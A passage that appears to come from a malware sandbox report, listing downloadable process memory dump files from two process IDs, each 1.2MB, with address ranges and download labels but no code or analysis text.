Filesize
1.2MB

Download
memory/4540-66-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/4540-67-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/4540-64-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/4540-54-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/4540-60-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/4584-32-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/4584-33-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/4584-31-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/4584-28-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download
memory/4584-46-0x0000000000400000-0x0000000000537000-memory.dmp

Filesize
1.2MB

Download